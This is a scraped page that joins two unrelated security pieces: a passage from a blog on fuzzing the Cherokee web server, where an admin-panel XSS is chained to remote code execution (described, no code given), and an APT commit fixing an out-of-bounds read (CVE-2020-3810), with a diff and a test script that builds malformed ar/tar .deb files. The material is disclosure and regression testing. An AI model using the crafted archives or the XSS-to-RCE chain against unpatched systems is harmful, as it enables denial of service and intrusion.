The first one affects only 400 Bad Request responses, thus it seems hard to be used against the user. The second one was found in the administration handler. This handler is used by default in the administration panel but also can be set up as a handler in the main server. The problem lies in copying the invoked URL to a response. The URL is not encoded before put in HTML, CSS and JavaScript code, so special characters can be placed by an attacker.

As an authenticated administrator has access to powerful options in the panel, we created a Proof of Concept exploit to show how this vulnerability can be used to achieve Remote Code Execution.

After opening the URL all actions are executed by the exploit, no further user interaction was required. For easier development this exploit simulates filling proper inputs in the panel which is quite slow, thus some parts of the video are sped up.

**Summary**

Utilizing fuzzing adjusted to the project’s features and additionally extending our approach with manual testing, several crashes and XSS vulnerabilities were found. One of them directly lead to RCE.

All reported bugs have been fixed.

CVE-2019-20798: LogicalTrust - Blog - [EN] A-Z: Cherokee

Missing input validation in the ar/tar implementations of APT before version 2.1.2 could result in denial of service when processing specially crafted deb files.

**Commit dceb1e49** authored May 12, 2020 by ![Julian Andres Klode's avatar](https://seccdn.libravatar.org/avatar/c59a7d59fa6e0e2d722136f9b18b30cf?s=48&d=identicon&gravatarproxy=n "Julian Andres Klode")

Browse files

**SECURITY UPDATE: Fix out of bounds read in .ar and .tar implementation (CVE-2020-3810)**

When normalizing ar member names by removing trailing whitespace
and slashes, an out-out-bound read can be caused if the ar member
name consists only of such characters, because the code did not
stop at 0, but would wrap around and continue reading from the
stack, without any limit.

Add a check to abort if we reached the first character in the
name, effectively rejecting the use of names consisting just
of slashes and spaces.

Furthermore, certain error cases in arfile.cc and extracttar.cc have
included member names in the output that were not checked at all and
might hence not be nul terminated, leading to further out of bound reads.

Fixes Debian/apt#111
LP: #1878177

*   Changes 3

...

...

@@ -92,7 +92,7 @@ bool ARArchive::LoadHeaders()

StrToNum(Head.Size,Memb\->Size,sizeof(Head.Size)) \== false)

{

delete Memb;

return \_error\->Error(\_("Invalid archive member header %s"), Head.Name);

return \_error\->Error(\_("Invalid archive member header"));

}

// Check for an extra long name string

...

...

@@ -119,7 +119,14 @@ bool ARArchive::LoadHeaders()

else

{

unsigned int I \= sizeof(Head.Name) \- 1;

for (; Head.Name\[I\] \== ' ' || Head.Name\[I\] \== '/'; I\--);

for (; Head.Name\[I\] \== ' ' || Head.Name\[I\] \== '/'; I\--)

{

if (I \== 0)

{

delete Memb;

return \_error\->Error(\_("Invalid archive member header"));

}

}

Memb\->Name \= std::string(Head.Name,I+1);

}

...

...

...

...

@@ -254,7 +254,7 @@ bool ExtractTar::Go(pkgDirStream &Stream)

default:

BadRecord \= true;

\_error\->Warning(\_("Unknown TAR header type %u, member %s"),(unsigned)Tar\->LinkFlag,Tar\->Name);

\_error\->Warning(\_("Unknown TAR header type %u"), (unsigned)Tar\->LinkFlag);

break;

}

...

...

#!/bin/sh

set \-e

TESTDIR\="$(readlink \-f "$(dirname "$0")")"

. "$TESTDIR/framework"

setupenvironment

configarchitecture "amd64"

setupaptarchive

\# this used to crash, but it should treat it as an invalid member header

touch ' '

ar \-q test.deb ' '

testsuccessequal "E: Invalid archive member header" ${BUILDDIRECTORY}/../test/interactive-helper/testdeb test.deb

rm test.deb

touch 'x'

ar \-q test.deb 'x'

testsuccessequal "E: This is not a valid DEB archive, missing 'debian-binary' member" ${BUILDDIRECTORY}/../test/interactive-helper/testdeb test.deb

\# <name><size> \[ other fields\] - name is not nul terminated here, it ends in .

msgmsg "Unterminated ar member name"

printf '!<arch>\\0120123456789ABCDE.A123456789A.01234.01234.0123456.012345678.0.' \> test.deb

testsuccessequal "E: Invalid archive member header" ${BUILDDIRECTORY}/../test/interactive-helper/testdeb test.deb

\# unused source code for generating $tar below

maketar() {

cat \> maketar.c << EOF

#include <stdio.h>

#include <string.h>

struct tar {

char Name\[100\];

char Mode\[8\];

char UserID\[8\];

char GroupID\[8\];

char Size\[12\];

char MTime\[12\];

char Checksum\[8\];

char LinkFlag;

char LinkName\[100\];

char MagicNumber\[8\];

char UserName\[32\];

char GroupName\[32\];

char Major\[8\];

char Minor\[8\];

};

int main(void)

{

union {

struct tar t;

char buf\[512\];

} t;

for (int i = 0; i < sizeof(t.buf); i++)

t.buf\[i\] = '7';

memcpy(t.t.Name, "unterminatedName", 16);

memcpy(t.t.UserName, "userName", 8);

memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);

t.t.LinkFlag = 'X'; // I AM BROKEN

memcpy(t.t.Size, "000000000000", sizeof(t.t.Size));

memset(t.t.Checksum,' ',sizeof(t.t.Checksum));

unsigned long sum = 0;

for (int i = 0; i < sizeof(t.buf); i++)

sum += t.buf\[i\];

int written = sprintf(t.t.Checksum, "%lo", sum);

for (int i = written; i < sizeof(t.t.Checksum); i++)

t.t.Checksum\[i\] = ' ';

fwrite(t.buf, sizeof(t.buf), 1, stdout);

}

EOF

gcc maketar.c \-o maketar \-Wall

./maketar

}

#

tar\="unterminatedName77777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777700000000000077777777777773544 X777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777userName777777777777777777777777thisIsAGroupNamethisIsAGroupName777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777"

printf '%s' "$tar" | gzip \> control.tar.gz

cp control.tar.gz data.tar.gz

touch debian-binary

rm test.deb

ar \-q test.deb debian-binary control.tar.gz data.tar.gz

testsuccessequal "W: Unknown TAR header type 88" ${BUILDDIRECTORY}/../test/interactive-helper/testdeb test.deb

Tag

#rce